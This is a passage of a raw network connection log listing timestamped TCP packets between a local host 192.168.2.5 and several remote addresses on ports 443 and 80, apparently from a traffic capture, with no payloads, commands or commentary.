Nov 20, 2024 01:18:35.126019001 CET	49788	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.126039028 CET	443	49788	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.126517057 CET	49788	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.126537085 CET	443	49788	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.135425091 CET	443	49789	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.136116982 CET	49789	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.136161089 CET	443	49789	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.136574984 CET	49789	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.136585951 CET	443	49789	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.192141056 CET	443	49790	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.197022915 CET	49790	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.197052956 CET	443	49790	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.198282957 CET	49790	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.198299885 CET	443	49790	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.226706982 CET	443	49787	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.226769924 CET	443	49787	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.226820946 CET	49787	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.227205038 CET	49787	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.227226019 CET	443	49787	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.227237940 CET	49787	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.227243900 CET	443	49787	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.229513884 CET	443	49791	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.230143070 CET	49791	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.230159998 CET	443	49791	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.231122971 CET	49791	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.231129885 CET	443	49791	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.231741905 CET	443	49788	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.231807947 CET	443	49788	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.231863976 CET	49788	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.232016087 CET	49788	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.232031107 CET	443	49788	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.232043028 CET	49788	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.232049942 CET	443	49788	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.234965086 CET	443	49789	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.235090017 CET	443	49789	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.235163927 CET	49789	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.235325098 CET	49789	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.235338926 CET	443	49789	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.247107029 CET	49792	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.247159958 CET	443	49792	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.247242928 CET	49792	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.247695923 CET	49792	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.247720957 CET	443	49792	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.248106003 CET	49793	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.248142958 CET	443	49793	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.248231888 CET	49793	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.248481989 CET	49793	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.248501062 CET	443	49793	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.250689030 CET	49794	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.250732899 CET	443	49794	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.250827074 CET	49794	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.251138926 CET	49794	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.251163960 CET	443	49794	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.293895960 CET	443	49790	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.293979883 CET	443	49790	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.294054031 CET	49790	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.298245907 CET	49790	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.298280001 CET	443	49790	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.298297882 CET	49790	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.298306942 CET	443	49790	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.301733017 CET	49795	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.301770926 CET	443	49795	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.301852942 CET	49795	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.330245972 CET	443	49791	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.330322027 CET	443	49791	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.330429077 CET	49791	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.333865881 CET	49795	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.333900928 CET	443	49795	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.463680029 CET	49791	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.463722944 CET	443	49791	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.463743925 CET	49791	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.463753939 CET	443	49791	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.516484976 CET	49796	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.516531944 CET	443	49796	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.516625881 CET	49796	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.521472931 CET	49796	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.521486044 CET	443	49796	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.896219015 CET	443	49793	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.896806002 CET	49793	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.896822929 CET	443	49793	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.897413969 CET	49793	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.897418976 CET	443	49793	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.899631023 CET	443	49794	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.900110006 CET	49794	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.900145054 CET	443	49794	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.900608063 CET	49794	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.900614977 CET	443	49794	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.918304920 CET	443	49792	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.918831110 CET	49792	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.918879032 CET	443	49792	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.919253111 CET	49792	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.919262886 CET	443	49792	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.958432913 CET	443	49775	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:35.958534002 CET	443	49775	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:35.958595037 CET	49775	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:35.958684921 CET	49775	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:35.958702087 CET	443	49775	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:35.970873117 CET	49797	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:35.970910072 CET	443	49797	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:35.970987082 CET	49797	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:35.971363068 CET	49797	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:35.971378088 CET	443	49797	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:35.972076893 CET	443	49795	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.972589970 CET	49795	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.972604990 CET	443	49795	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.973030090 CET	49795	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.973033905 CET	443	49795	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.997329950 CET	443	49793	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.997400045 CET	443	49793	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.997456074 CET	49793	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.997792959 CET	49793	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.997805119 CET	443	49793	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:35.997812986 CET	49793	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:35.997818947 CET	443	49793	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.000983953 CET	49798	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.001005888 CET	443	49798	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.001127005 CET	49798	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.001384974 CET	49798	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.001399994 CET	443	49798	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.001667023 CET	443	49794	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.001714945 CET	443	49794	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.001773119 CET	49794	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.001921892 CET	49794	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.001945972 CET	443	49794	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.001966000 CET	49794	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.001972914 CET	443	49794	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.004993916 CET	49799	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.005031109 CET	443	49799	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.005162954 CET	49799	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.005359888 CET	49799	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.005377054 CET	443	49799	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.024472952 CET	443	49792	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.024641991 CET	443	49792	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.024708033 CET	49792	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.024817944 CET	49792	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.024847031 CET	443	49792	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.024863005 CET	49792	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.024871111 CET	443	49792	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.028431892 CET	49800	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.028479099 CET	443	49800	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.028623104 CET	49800	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.028739929 CET	49800	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.028749943 CET	443	49800	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.073154926 CET	443	49795	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.073224068 CET	443	49795	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.073290110 CET	49795	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.073551893 CET	49795	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.073573112 CET	443	49795	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.073585987 CET	49795	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.073591948 CET	443	49795	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.076842070 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.076874018 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.076992989 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.077203989 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.077224970 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.168044090 CET	443	49796	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.168978930 CET	49796	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.169008970 CET	443	49796	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.169641972 CET	49796	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.169652939 CET	443	49796	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.275743961 CET	443	49796	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.275832891 CET	443	49796	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.275892019 CET	49796	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.276402950 CET	49796	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.276427984 CET	443	49796	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.276443005 CET	49796	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.276448965 CET	443	49796	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.282701969 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.282749891 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.282862902 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.283337116 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.283365011 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.460201979 CET	443	49797	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:36.460366964 CET	49797	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:36.462033987 CET	49797	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:36.462044001 CET	443	49797	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:36.462279081 CET	443	49797	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:36.463613987 CET	49797	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:36.463643074 CET	49797	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:36.463684082 CET	443	49797	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:36.641988039 CET	443	49799	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.642716885 CET	49799	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.642745972 CET	443	49799	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.643182039 CET	49799	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.643188000 CET	443	49799	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.665307045 CET	443	49798	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.665781975 CET	49798	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.665811062 CET	443	49798	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.666230917 CET	49798	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.666241884 CET	443	49798	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.669107914 CET	443	49800	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.669655085 CET	49800	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.669668913 CET	443	49800	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.669933081 CET	49800	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.669939041 CET	443	49800	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.716978073 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.717519999 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.717535973 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.717995882 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.718000889 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.743932962 CET	443	49799	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.743995905 CET	443	49799	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.744179010 CET	49799	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.744378090 CET	49799	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.744394064 CET	443	49799	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.744412899 CET	49799	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.744419098 CET	443	49799	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.747082949 CET	49803	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.747113943 CET	443	49803	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.747209072 CET	49803	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.747337103 CET	49803	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.747344017 CET	443	49803	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.787295103 CET	443	49798	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.787357092 CET	443	49798	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.789550066 CET	49798	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.789580107 CET	49798	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.789591074 CET	443	49798	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.789602041 CET	49798	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.789607048 CET	443	49798	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.791996956 CET	49804	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.792037964 CET	443	49804	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.792121887 CET	49804	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.792244911 CET	443	49800	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.792258978 CET	49804	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.792273998 CET	443	49804	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.792323112 CET	443	49800	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.793574095 CET	49800	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.793574095 CET	49800	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.793610096 CET	49800	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.793625116 CET	443	49800	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.795382977 CET	49805	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.795422077 CET	443	49805	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.795501947 CET	49805	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.795607090 CET	49805	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.795619011 CET	443	49805	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.885369062 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.885440111 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.885561943 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.885763884 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.885771036 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.885781050 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.885786057 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.888364077 CET	49806	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.888405085 CET	443	49806	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.888488054 CET	49806	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.888638020 CET	49806	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.888653040 CET	443	49806	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.904488087 CET	443	49797	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:36.904586077 CET	443	49797	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:36.904642105 CET	49797	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:36.904762983 CET	49797	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:36.904771090 CET	443	49797	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:36.904784918 CET	49797	443	192.168.2.5	188.114.96.3
Nov 20, 2024 01:18:36.904788971 CET	443	49797	188.114.96.3	192.168.2.5
Nov 20, 2024 01:18:36.906761885 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:36.911587954 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:36.913546085 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:36.913664103 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:36.918631077 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:36.924531937 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.924984932 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.925010920 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:36.925426006 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:36.925431967 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.032761097 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.032804966 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.032929897 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.033107996 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.033107996 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.033134937 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.033149004 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.036138058 CET	49808	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.036181927 CET	443	49808	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.036295891 CET	49808	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.036494017 CET	49808	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.036511898 CET	443	49808	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.390217066 CET	443	49803	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.391081095 CET	49803	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.391103029 CET	443	49803	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.391562939 CET	49803	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.391577005 CET	443	49803	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.435286045 CET	443	49804	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.435750961 CET	49804	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.435760975 CET	443	49804	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.436203957 CET	49804	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.436211109 CET	443	49804	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.462245941 CET	443	49805	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.465893984 CET	49805	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.465909004 CET	443	49805	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.466311932 CET	49805	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.466316938 CET	443	49805	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.509006977 CET	49809	443	192.168.2.5	172.202.163.200
Nov 20, 2024 01:18:37.509047985 CET	443	49809	172.202.163.200	192.168.2.5
Nov 20, 2024 01:18:37.509118080 CET	49809	443	192.168.2.5	172.202.163.200
Nov 20, 2024 01:18:37.511008024 CET	49809	443	192.168.2.5	172.202.163.200
Nov 20, 2024 01:18:37.511025906 CET	443	49809	172.202.163.200	192.168.2.5
Nov 20, 2024 01:18:37.533272982 CET	443	49803	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.533334017 CET	443	49803	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.533544064 CET	49803	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.533585072 CET	49803	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.533607960 CET	443	49803	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.533622980 CET	49803	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.533631086 CET	443	49803	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.536186934 CET	49810	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.536212921 CET	443	49810	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.536286116 CET	49810	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.536461115 CET	49810	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.536475897 CET	443	49810	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.537018061 CET	443	49804	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.537082911 CET	443	49804	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.537226915 CET	49804	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.537259102 CET	49804	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.537275076 CET	443	49804	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.537285089 CET	49804	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.537290096 CET	443	49804	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.540242910 CET	49811	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.540281057 CET	443	49811	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.540409088 CET	49811	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.540606976 CET	49811	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.540613890 CET	443	49811	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.562083006 CET	443	49806	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.562514067 CET	49806	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.562544107 CET	443	49806	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.563105106 CET	49806	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.563113928 CET	443	49806	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.571908951 CET	443	49805	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.572047949 CET	443	49805	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.572149038 CET	49805	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.572190046 CET	49805	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.572190046 CET	49805	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.572211027 CET	443	49805	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.572222948 CET	443	49805	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.574727058 CET	49812	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.574749947 CET	443	49812	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.574815989 CET	49812	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.574960947 CET	49812	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:37.574976921 CET	443	49812	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:37.620306969 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:37.620417118 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:37.620434046 CET	80	49807	185.215.113.16	192.168.2.5
